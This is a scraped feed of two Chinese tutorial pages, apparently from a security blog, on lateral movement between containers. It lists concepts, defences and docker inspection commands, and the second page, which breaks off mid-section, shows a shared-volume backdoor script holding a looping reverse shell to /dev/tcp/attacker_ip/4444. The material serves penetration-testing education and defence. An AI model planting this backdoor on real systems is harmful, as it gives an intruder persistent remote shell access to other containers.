https://linuxiexiu.github.io/docs/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/%E6%A8%AA%E5%90%91%E7%A7%BB%E5%8A%A8/%E5%AE%B9%E5%99%A8%E7%8E%AF%E5%A2%83%E6%A8%AA%E5%90%91%E7%A7%BB%E5%8A%A8/Recent content in 容器环境横向移动 on Linux邪修Hugozh© 2024 Linux邪修https://linuxiexiu.github.io/docs/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/%E6%A8%AA%E5%90%91%E7%A7%BB%E5%8A%A8/%E5%AE%B9%E5%99%A8%E7%8E%AF%E5%A2%83%E6%A8%AA%E5%90%91%E7%A7%BB%E5%8A%A8/%E5%AE%B9%E5%99%A8%E7%8E%AF%E5%A2%83%E6%A8%AA%E5%90%91%E7%A7%BB%E5%8A%A8%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86/Mon, 01 Jan 0001 00:00:00 +0000https://linuxiexiu.github.io/docs/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/%E6%A8%AA%E5%90%91%E7%A7%BB%E5%8A%A8/%E5%AE%B9%E5%99%A8%E7%8E%AF%E5%A2%83%E6%A8%AA%E5%90%91%E7%A7%BB%E5%8A%A8/%E5%AE%B9%E5%99%A8%E7%8E%AF%E5%A2%83%E6%A8%AA%E5%90%91%E7%A7%BB%E5%8A%A8%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86/<h2 id="技术介绍">技术介绍<a class="anchor" href="#%e6%8a%80%e6%9c%af%e4%bb%8b%e7%bb%8d">#</a></h2> <p>容器环境横向移动是一种在容器环境中从一个容器移动到另一个容器的技术。攻击者通过利用容器环境的特性，在容器环境中进行横向移动，以访问更多的容器资源。本教程将详细介绍容器环境横向移动的基础知识、核心概念和技术方法，帮助安全人员理解和防御容器环境横向移动攻击。</p> <h3 id="容器环境横向移动核心概念">容器环境横向移动核心概念<a class="anchor" href="#%e5%ae%b9%e5%99%a8%e7%8e%af%e5%a2%83%e6%a8%aa%e5%90%91%e7%a7%bb%e5%8a%a8%e6%a0%b8%e5%bf%83%e6%a6%82%e5%bf%b5">#</a></h3> <ul> <li><strong>容器（Container）</strong>：轻量级的虚拟化技术</li> <li><strong>容器环境（Container Environment）</strong>：容器运行的环境</li> <li><strong>容器环境横向移动（Container Lateral Movement）</strong>：在容器环境中进行横向移动的技术</li> <li><strong>容器编排（Container Orchestration）</strong>：容器的编排和管理</li> <li><strong>容器网络（Container Network）</strong>：容器的网络配置</li> <li><strong>容器存储（Container Storage）</strong>：容器的存储配置</li> <li><strong>容器卷（Container Volume）</strong>：容器的存储卷</li> <li><strong>容器镜像（Container Image）</strong>：容器的镜像文件</li> <li><strong>容器安全（Container Security）</strong>：容器的安全防护</li> <li><strong>容器逃逸（Container Escape）</strong>：从容器逃逸到宿主机的攻击</li> <li><strong>容器Rootkit</strong>：容器中的Rootkit</li> <li><strong>Kubernetes</strong>：容器编排平台</li> </ul> <h3 id="容器环境横向移动的特点">容器环境横向移动的特点<a class="anchor" href="#%e5%ae%b9%e5%99%a8%e7%8e%af%e5%a2%83%e6%a8%aa%e5%90%91%e7%a7%bb%e5%8a%a8%e7%9a%84%e7%89%b9%e7%82%b9">#</a></h3> <ul> <li><strong>隐蔽性</strong>：容器环境横向移动攻击隐蔽性强</li> <li><strong>灵活性</strong>：容器环境横向移动技术灵活多样</li> <li><strong>依赖性</strong>：容器环境横向移动依赖容器环境</li> <li><strong>检测难度</strong>：容器环境横向移动检测难度较大</li> <li><strong>影响范围</strong>：容器环境横向移动影响范围广</li> <li><strong>技术复杂</strong>：容器环境横向移动技术复杂</li> </ul> <h3 id="容器环境横向移动的重要性">容器环境横向移动的重要性<a class="anchor" href="#%e5%ae%b9%e5%99%a8%e7%8e%af%e5%a2%83%e6%a8%aa%e5%90%91%e7%a7%bb%e5%8a%a8%e7%9a%84%e9%87%8d%e8%a6%81%e6%80%a7">#</a></h3> <ul> <li><strong>攻击检测</strong>：检测容器环境横向移动攻击</li> <li><strong>环境加固</strong>：加固容器环境防止横向移动</li> <li><strong>安全防护</strong>：防护容器环境横向移动攻击</li> <li><strong>合规性</strong>：满足合规性要求</li> <li><strong>风险降低</strong>：降低安全风险</li> <li><strong>业务保护</strong>：保护业务连续性</li> </ul> <h2 id="技术体系">技术体系<a class="anchor" href="#%e6%8a%80%e6%9c%af%e4%bd%93%e7%b3%bb">#</a></h2> <p>容器环境横向移动技术体系主要包括以下几个方面：</p> <h3 id="容器环境横向移动原理">容器环境横向移动原理<a class="anchor" href="#%e5%ae%b9%e5%99%a8%e7%8e%af%e5%a2%83%e6%a8%aa%e5%90%91%e7%a7%bb%e5%8a%a8%e5%8e%9f%e7%90%86">#</a></h3> <ul> <li><strong>容器架构</strong>：容器的架构和组件</li> <li><strong>容器网络</strong>：容器的网络配置</li> <li><strong>容器存储</strong>：容器的存储配置</li> <li><strong>容器安全</strong>：容器的安全机制</li> <li><strong>容器编排</strong>：容器的编排和管理</li> </ul> <h3 id="容器环境横向移动技术">容器环境横向移动技术<a class="anchor" href="#%e5%ae%b9%e5%99%a8%e7%8e%af%e5%a2%83%e6%a8%aa%e5%90%91%e7%a7%bb%e5%8a%a8%e6%8a%80%e6%9c%af">#</a></h3> <ul> <li><strong>容器网络横向移动</strong>：通过容器网络进行横向移动</li> <li><strong>容器存储横向移动</strong>：通过容器存储进行横向移动</li> <li><strong>容器编排横向移动</strong>：通过容器编排进行横向移动</li> <li><strong>容器逃逸横向移动</strong>：通过容器逃逸进行横向移动</li> <li><strong>容器Rootkit横向移动</strong>：通过容器Rootkit进行横向移动</li> </ul> <h3 id="容器环境横向移动防御">容器环境横向移动防御<a class="anchor" href="#%e5%ae%b9%e5%99%a8%e7%8e%af%e5%a2%83%e6%a8%aa%e5%90%91%e7%a7%bb%e5%8a%a8%e9%98%b2%e5%be%a1">#</a></h3> <ul> <li><strong>容器网络隔离</strong>：隔离容器网络</li> <li><strong>容器存储加密</strong>：加密容器存储</li> <li><strong>容器运行时保护</strong>：保护容器运行时</li> <li><strong>容器镜像扫描</strong>：扫描容器镜像</li> <li><strong>容器监控</strong>：监控容器活动</li> </ul> <h2 id="工具使用">工具使用<a class="anchor" href="#%e5%b7%a5%e5%85%b7%e4%bd%bf%e7%94%a8">#</a></h2> <h3 id="容器环境横向移动检测工具">容器环境横向移动检测工具<a class="anchor" href="#%e5%ae%b9%e5%99%a8%e7%8e%af%e5%a2%83%e6%a8%aa%e5%90%91%e7%a7%bb%e5%8a%a8%e6%a3%80%e6%b5%8b%e5%b7%a5%e5%85%b7">#</a></h3> <ol> <li> <p><strong>Docker命令</strong>：</p> <ul> <li><strong>功能</strong>：Docker命令行工具</li> <li><strong>用途</strong>：管理Docker容器</li> <li><strong>使用方法</strong>： <div class="highlight"><pre tabindex="0" style="color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#78787e"># 列出所有容器</span> </span></span><span style="display:flex;"><span>docker ps -a </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span><span style="color:#78787e"># 查看容器详情</span> </span></span><span style="display:flex;"><span>docker inspect container_id </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span><span style="color:#78787e"># 查看容器日志</span> </span></span><span style="display:flex;"><span>docker logs container_id </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span><span style="color:#78787e"># 查看容器网络</span> </span></span><span style="display:flex;"><span>docker network ls </span></span><span style="display:flex;"><span>docker network inspect network_id</span></span></code></pre></div></li> </ul> </li> <li> <p><strong>Kubernetes命令</strong>：</p>https://linuxiexiu.github.io/docs/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/%E6%A8%AA%E5%90%91%E7%A7%BB%E5%8A%A8/%E5%AE%B9%E5%99%A8%E7%8E%AF%E5%A2%83%E6%A8%AA%E5%90%91%E7%A7%BB%E5%8A%A8/%E5%AE%B9%E5%99%A8%E7%8E%AF%E5%A2%83%E6%A8%AA%E5%90%91%E7%A7%BB%E5%8A%A8%E6%8A%80%E6%9C%AF/Mon, 01 Jan 0001 00:00:00 +0000https://linuxiexiu.github.io/docs/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/%E6%A8%AA%E5%90%91%E7%A7%BB%E5%8A%A8/%E5%AE%B9%E5%99%A8%E7%8E%AF%E5%A2%83%E6%A8%AA%E5%90%91%E7%A7%BB%E5%8A%A8/%E5%AE%B9%E5%99%A8%E7%8E%AF%E5%A2%83%E6%A8%AA%E5%90%91%E7%A7%BB%E5%8A%A8%E6%8A%80%E6%9C%AF/<h1 id="容器环境横向移动技术">容器环境横向移动技术<a class="anchor" href="#%e5%ae%b9%e5%99%a8%e7%8e%af%e5%a2%83%e6%a8%aa%e5%90%91%e7%a7%bb%e5%8a%a8%e6%8a%80%e6%9c%af">#</a></h1> <h2 id="技术介绍">技术介绍<a class="anchor" href="#%e6%8a%80%e6%9c%af%e4%bb%8b%e7%bb%8d">#</a></h2> <p>容器环境横向移动是指在容器化环境中从一个容器或主机移动到其他容器或主机的过程。随着容器技术的广泛应用，容器环境横向移动已成为红队攻击和蓝队防御的重要技术领域。</p> <h3 id="主要横向移动技术">主要横向移动技术<a class="anchor" href="#%e4%b8%bb%e8%a6%81%e6%a8%aa%e5%90%91%e7%a7%bb%e5%8a%a8%e6%8a%80%e6%9c%af">#</a></h3> <ul> <li>容器间网络通信</li> <li>容器卷挂载利用</li> <li>容器API滥用</li> <li>容器编排系统利用</li> <li>容器逃逸技术</li> <li>容器凭证窃取</li> <li>容器服务劫持</li> <li>容器网络嗅探</li> <li>容器进程注入</li> <li>容器配置文件利用</li> </ul> <h3 id="适用场景">适用场景<a class="anchor" href="#%e9%80%82%e7%94%a8%e5%9c%ba%e6%99%af">#</a></h3> <ul> <li>红队攻击和渗透测试</li> <li>容器安全评估</li> <li>容器环境安全研究</li> <li>云原生安全测试</li> <li>容器平台安全审计</li> </ul> <h2 id="入门级使用">入门级使用<a class="anchor" href="#%e5%85%a5%e9%97%a8%e7%ba%a7%e4%bd%bf%e7%94%a8">#</a></h2> <h3 id="容器间网络通信">容器间网络通信<a class="anchor" href="#%e5%ae%b9%e5%99%a8%e9%97%b4%e7%bd%91%e7%bb%9c%e9%80%9a%e4%bf%a1">#</a></h3> <p>利用容器网络进行横向移动：</p> <div class="highlight"><pre tabindex="0" style="color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#78787e"># 查看容器网络</span> </span></span><span style="display:flex;"><span>docker network ls </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span><span style="color:#78787e"># 查看容器网络详情</span> </span></span><span style="display:flex;"><span>docker network inspect bridge </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span><span style="color:#78787e"># 从一个容器访问另一个容器</span> </span></span><span style="display:flex;"><span>docker <span style="color:#ff5c57">exec</span> -it container1 /bin/bash </span></span><span style="display:flex;"><span>ping container2 </span></span><span style="display:flex;"><span>curl http://container2:80 </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span><span style="color:#78787e"># 使用容器IP地址</span> </span></span><span style="display:flex;"><span>docker inspect container2 | grep IPAddress </span></span><span style="display:flex;"><span>curl http://172.17.0.3:80</span></span></code></pre></div><h3 id="容器卷挂载利用">容器卷挂载利用<a class="anchor" href="#%e5%ae%b9%e5%99%a8%e5%8d%b7%e6%8c%82%e8%bd%bd%e5%88%a9%e7%94%a8">#</a></h3> <p>利用容器卷挂载进行横向移动：</p> <div class="highlight"><pre tabindex="0" style="color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#78787e"># 查看容器卷挂载</span> </span></span><span style="display:flex;"><span>docker inspect container1 | grep -A <span style="color:#ff9f43">20</span> Mounts </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span><span style="color:#78787e"># 从容器1访问共享卷</span> </span></span><span style="display:flex;"><span>docker <span style="color:#ff5c57">exec</span> -it container1 /bin/bash </span></span><span style="display:flex;"><span><span style="color:#ff5c57">cd</span> /shared_volume </span></span><span style="display:flex;"><span>ls -la </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span><span style="color:#78787e"># 在共享卷中植入后门</span> </span></span><span style="display:flex;"><span><span style="color:#ff5c57">echo</span> <span style="color:#5af78e">&#39;#!/bin/bash&#39;</span> &gt; /shared_volume/backdoor.sh </span></span><span style="display:flex;"><span><span style="color:#ff5c57">echo</span> <span style="color:#5af78e">&#39;while true; do /bin/bash -i &gt;&amp; /dev/tcp/attacker_ip/4444 0&gt;&amp;1; sleep 60; done&#39;</span> &gt;&gt; /shared_volume/backdoor.sh </span></span><span style="display:flex;"><span>chmod +x /shared_volume/backdoor.sh </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span><span style="color:#78787e"># 其他容器会自动执行后门</span></span></span></code></pre></div><h3 id="容器服务劫持">容器服务劫持<a class="anchor" href="#%e5%ae%b9%e5%99%a8%e6%9c%8d%e5%8a%a1%e5%8a%ab%e6%8c%81">#</a></h3> <p>劫持容器服务进行横向移动：</p>